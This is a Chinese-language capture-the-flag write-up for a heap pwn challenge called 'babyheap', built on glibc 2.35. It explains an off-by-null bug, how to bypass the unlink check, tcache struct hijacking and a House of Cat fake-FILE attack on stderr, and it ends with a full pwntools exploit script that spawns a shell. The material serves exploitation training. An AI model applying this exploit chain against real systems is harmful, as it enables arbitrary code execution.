[2024領航杯] Pwn方向題解 babyheap

CH13hh發表於2024-10-14

[2024領航杯] Pwn方向題解 babyheap

前言:

當然這個比賽我沒有參加,是江蘇省的一個比賽,附件是XiDP師傅在比賽結束之後發給我的,最近事情有點多,當時擱置了一天,昨天下午想起來這個事情,才開始看題目,XiDP師傅說是2.35版本的libc,確實高版本libc的卻棘手,我經驗太淺了除錯半天,最後讓我們一起看一下這個題目。

保護策略:

[2024領航杯] Pwn方向題解 babyheap

逆向分析:

功能很齊全啊,該有的都有

[2024領航杯] Pwn方向題解 babyheap

add函式最多存在11個堆塊,沒有大小限制

[2024領航杯] Pwn方向題解 babyheap

輸入content的時候存在一個off_by_null漏洞

[2024領航杯] Pwn方向題解 babyheap

delete就是沒有UAF漏洞,show函式是puts列印存在00截斷。

edit函式只能用一次

[2024領航杯] Pwn方向題解 babyheap

關於洩露地址:

當然存在00截斷我們無法直接洩露地址,那麼就需要實現unlink來進行堆塊重疊,來抵消off_by_null的00截斷。

關於2.29之後off_by_null的說明:

當然在之前呢大家也可以看見,我們只需要偽造一個prev size位配合off_by_null即可完成unlink的一系列攻擊而且當時只free第一個堆塊的話fd和bk指標也不需要偽造了。但是在glibc2.29之後加入了檢查,具體是怎麼樣的呢,它會檢查你要釋放堆塊的prev size和前面堆塊的size位大小是不是一樣的,不一樣的話就會報錯,當然想要繞過這個檢查就需要修改size位,其實思路的話我們可以申請7個堆塊,釋放0,3,6堆塊,至於為什麼這樣,因為我們需要修改size位,因為chunk3在中間所以我們比較好修改它的size位,我們釋放chunk2,那麼chunk2,3合併成了一個大的chunk,然後去申請堆塊修改chunk3的size位即可,建議直接修改到top_chunk那裡,因為後續要實現unlink的話還是要add堆塊的。

那麼這裡需要有一點點的堆風水,怎麼說呢,因為存在off_by_null我們輸入資料的時候會留下一個00,我們讓chunk3的chunk地址存在到00的位置,那麼在進行偽造fd和bk指標的時候就可以透過截斷來指向chunk3,怎麼做呢,因為chunk2,3合併了,修改chunk3之後留下了一個chunk,這個chunk只有最後一位和chunk3不一樣,我們可以透過利用這個堆塊和chunk0,6來達到偽造fd和bk的目的,當然chunk0的bk指標比較好偽造,chunk6的fd指標我們輸入什麼都會修改兩位因此我們需要chunk5和chunk6合併來修改chunk6的fd指標使其指向chunk3,最後正常off_by_null即可。

[2024領航杯] Pwn方向題解 babyheap

後續的攻擊:

當然限制堆地址和libc地址都有了還需要進行劫持相關的操作,因為2.34之後沒有相關的_malloc_hook等這些鉤子了,所以一開始我的想法是house of kiwi,但是發現這個版本的 _IO_helper_jumps沒有可寫的許可權。

[2024領航杯] Pwn方向題解 babyheap

那麼只好使用house of apple2 的相關連,house of cat(具體操作我前兩篇部落格裡面有詳細內容),但是我這裡是直接修改了 stderr結構體,沒有直接進行偽造但是我發現一個弊端,這樣的話有點極限因為,我們無法修改太多空間如果越界修改了stdout的話會導致程式卡住,所以我在這裡卡半天,一直在除錯,期間我也發現了,不同版本之間一些利用鏈的判斷條件有所不同需要進行微調。

偽造指標的情況

[2024領航杯] Pwn方向題解 babyheap

[2024領航杯] Pwn方向題解 babyheap

[2024領航杯] Pwn方向題解 babyheap

當然我是用的劫持tcache_ptheread_struct結構體來修改top_chunk和stderr的,因為我感覺largebin attack有點難操作,所以乾脆之間修改stderr結構體了。

我是利用_malloc_assert來觸發IO的,因為程式正常透過main函式返回所以也可以不用修改top_chunk,但是結構體要微調一些不然就這樣了

[2024領航杯] Pwn方向題解 babyheap

EXP:

from gt import *
​
con("amd64")
​
io = process("./babyheap")
libc = ELF("./libc.so.6")
​
def add(size,msg):
    io.sendlineafter("> ","1")
    io.sendlineafter("size:",str(size))
    io.sendlineafter("content:",msg)
​
​
def free(index):
    io.sendlineafter("> ","2")
    io.sendlineafter("index:",str(index))
​
​
def show(index):
    io.sendlineafter("> ","3")
    io.sendlineafter("index:",str(index))
​
​
def edit(index,msg):
    io.sendlineafter("> ","4")
    io.sendlineafter("index:",str(index))
    io.sendafter("new content:",msg)
​
​
def exit():
    io.sendlineafter("> ","5")
​
​
add(0x418,'a') #0
add(0x1f8,'a') #1
add(0x448,'a') #2
add(0x438,'a') #3
add(0x208,'a') #4
add(0x418,'a') #5
add(0x428,'a') #6
add(0x208,'a') #7
​
free(0)
free(3)
free(6)
#gdb.attach(io)
free(2)
#free(5)
​
#gdb.attach(io)
​
payload = b'a'*0x448 + b'\xb0\x10'
add(0x468,payload)
#gdb.attach(io)
add(0x418,'a')
add(0x428,'a')
add(0x418,'a')
#gdb.attach(io)
​
​
free(6)
free(2)
add(0x418,'a'*8)
​
free(3)
free(5)
#gdb.attach(io)
payload = b'a'*0x418 + p64(0x431)
add(0x500,payload)
add(0x9f8,'a')
add(0x408,'a')
add(0x408,'a')
payload = b'a'*0x200 + p64(0x10b0)
edit(7,payload)
free(5)
add(0x430,'a')
​
show(4)
io.recv(1)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x21ace0
suc("libc_base",libc_base)
IO_hleper_jumps = libc_base + 0x216a00 
suc("IO_hleper_jumps",IO_hleper_jumps)
IO_file_jumps = libc_base + 0x217600 
stderr = libc_base + 0x21b6a0
show(2)
io.recvuntil('a'*8)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1770
suc("heap_base",heap_base)
top_chunk = heap_base + 0x1140 
add(0x200,'a')
free(9)
free(7)
key = (heap_base + 0x1000) >>  0xc
payload = b'a'*0xa50 + p64(0x340) + p64(0x210) + p64(heap_base+0x10 ^ key)
add(0xa70,payload)
​
add(0x200,'a')
​
add(0x200,b'\x07\x00'*0x40+p64(top_chunk)*20+p64(stderr)*25)
free(7)
free(8)
system = libc_base + libc.sym["system"]
fake_io_addr = stderr
​
fake_IO_FILE = b'/bin/sh\x00' + p64(0x201) +p64(0) +p64(heap_base + 0x200)+p64(0)  + p64(0)*3
fake_IO_FILE +=p64(1)+p64(0) #rcx
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx -----> setcontext + 61
fake_IO_FILE +=p64(system)#_IO_save_end=call addr rax+0x58
fake_IO_FILE  =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0)  # _chain
fake_IO_FILE  =fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE +=p64(fake_io_addr -0x20) #rax1
fake_IO_FILE += p64(fake_io_addr + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE += p64(fake_io_addr + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2170c0+0x10-0x28)  # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE += p64(0x00000000fbad2800) +  p64(libc_base + 0x21b803)*5
#fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
​
#add(0x500,'b'*8)
​
add(0x290,fake_IO_FILE)
add(0xc0,p64(0)+p64(0x300))
​
io.sendlineafter("> ","1")
#gdb.attach(io)
io.sendlineafter("size:",str(0x500))
​
#gdb.attach(io)
io.interactive()

最終效果

[2024領航杯] Pwn方向題解 babyheap

相關文章